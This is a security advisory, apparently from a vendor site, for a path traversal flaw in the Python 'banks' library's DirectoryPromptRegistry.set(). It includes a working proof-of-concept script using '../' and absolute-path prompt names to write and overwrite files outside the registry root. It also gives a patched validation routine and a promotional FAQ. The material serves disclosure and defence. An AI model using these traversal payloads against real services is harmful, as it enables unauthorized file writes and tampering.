CVE-2026-71492

Banks: Path traversal in DirectoryPromptRegistry.set() allows arbitrary file write outside the registry root

prompt_file = path / f"{prompt.name}.{prompt.version}.jinja"
prompt_file.write_text(prompt.raw)

import tempfile
from pathlib import Path
from banks import Prompt
from banks.registries import DirectoryPromptRegistry

work = Path(tempfile.mkdtemp())
registry = work / "registry"; registry.mkdir()
victim   = work / "victim";   victim.mkdir()

reg = DirectoryPromptRegistry(str(registry))

# (1) Relative traversal
reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))
print((victim / "pwned.0.jinja").read_text())            # 'pwn'

# (2) Absolute-path bypass, registry root is silently discarded
target = victim / "absolute_pwn"
reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))
print((victim / "absolute_pwn.0.jinja").read_text())     # 'abs pwn'

# (3) Clobber an existing file
existing = victim / "clobber_me"
existing.write_text("ORIGINAL\n")
reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),
        overwrite=True)
print((victim / "clobber_me.0.jinja").read_text())       # 'CLOBBERED'

pwn
abs pwn
CLOBBERED

Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.

Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

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Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:

# src/banks/registries/directory.py
import re

_NAME_RE = re.compile(r"[A-Za-z0-9._-]+")

@classmethod
def from_prompt_path(cls, prompt, path):
    if not _NAME_RE.fullmatch(prompt.name or ""):
        raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")
    if not _NAME_RE.fullmatch(prompt.version or ""):
        raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")

    candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()
    if candidate.parent != path.resolve():
        raise InvalidPromptError(
            f"Prompt path escapes registry root: {candidate}"
        )

    candidate.write_text(prompt.raw)
    return cls(
        text=prompt.raw, name=prompt.name, version=prompt.version,
        metadata=prompt.metadata, path=candidate,
    )

The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.

1. What is CVE-2026-71492? CVE-2026-71492 is a medium-severity path traversal vulnerability in banks (pip), affecting versions < 2.4.5. It is fixed in 2.4.5. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of banks are affected by CVE-2026-71492? banks (pip) versions < 2.4.5 is affected.
3. Is there a fix for CVE-2026-71492? Yes. CVE-2026-71492 is fixed in 2.4.5. Upgrade to this version or later.
4. Is CVE-2026-71492 exploitable, and should I be worried? Whether CVE-2026-71492 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-71492 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-71492? Upgrade banks to 2.4.5 or later.